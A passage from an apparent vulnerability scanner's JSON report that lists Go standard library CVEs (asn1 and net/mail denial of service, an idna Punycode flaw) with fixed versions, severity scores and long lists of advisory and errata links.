"https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57367", "https://access.redhat.com/errata/RHSA-2026:57408", "https://access.redhat.com/errata/RHSA-2026:57545", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60442", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60447", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60478", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:60668", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62410", "https://access.redhat.com/errata/RHSA-2026:62550", "https://access.redhat.com/errata/RHSA-2026:62551", "https://access.redhat.com/errata/RHSA-2026:63046", "https://access.redhat.com/errata/RHSA-2026:63047", "https://access.redhat.com/errata/RHSA-2026:63048", "https://access.redhat.com/errata/RHSA-2026:63050", "https://access.redhat.com/errata/RHSA-2026:63091", "https://access.redhat.com/errata/RHSA-2026:63096", "https://access.redhat.com/errata/RHSA-2026:63097", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/errata/RHSA-2026:63104", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:63637", "https://access.redhat.com/errata/RHSA-2026:63639", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/security/cve/CVE-2026-33814", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://github.com/golang/go/issues/78476", "https://go-review.googlesource.com/c/go/+/761581", "https://go-review.googlesource.com/c/net/+/761640", "https://go.dev/cl/761581", "https://go.dev/cl/761640", "https://go.dev/issue/78476", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33814.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33814", "https://pkg.go.dev/vuln/GO-2026-4918", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33814.json", "https://ubuntu.com/security/notices/USN-8430-1", "https://ubuntu.com/security/notices/USN-8471-1", "https://ubuntu.com/security/notices/USN-8472-1", "https://ubuntu.com/security/notices/USN-8473-1", "https://www.cve.org/CVERecord?id=CVE-2026-33814" ], "PublishedDate": "2026-05-07T20:16:42.88Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-33818", "VendorIDs": [ "GO-2026-5972" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33818", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ba5788cca983849300c4c0079a8f67696efe347efc00656f1035e01230b04725", "Title": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal", "Description": "Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-33818", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80405", "https://go.dev/cl/814980", "https://go.dev/issue/80405", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-33818.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33818", "https://pkg.go.dev/vuln/GO-2026-5972", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-33818" ], "PublishedDate": "2026-08-13T22:17:19.84Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-39820", "VendorIDs": [ "GO-2026-4986" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39820", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:dafd917f1c5ab1abb35740629ded22fcc991a515a1305784498cfb9c1059acd8", "Title": "net/mail: golang: Go net/mail: Denial of Service via crafted email inputs", "Description": "Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54883", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57401", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-39820", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/759940", "https://go.dev/issue/78566", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39820.html", "https://linux.oracle.com/errata/ELSA-2026-65895-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39820", "https://pkg.go.dev/vuln/GO-2026-4986", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39820.json", "https://www.cve.org/CVERecord?id=CVE-2026-39820" ], "PublishedDate": "2026-05-07T20:16:43.187Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:49a28ef3baf9561771ca42ac1aa55de1afd7d54256c0344b074817a6d29b09cc", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", 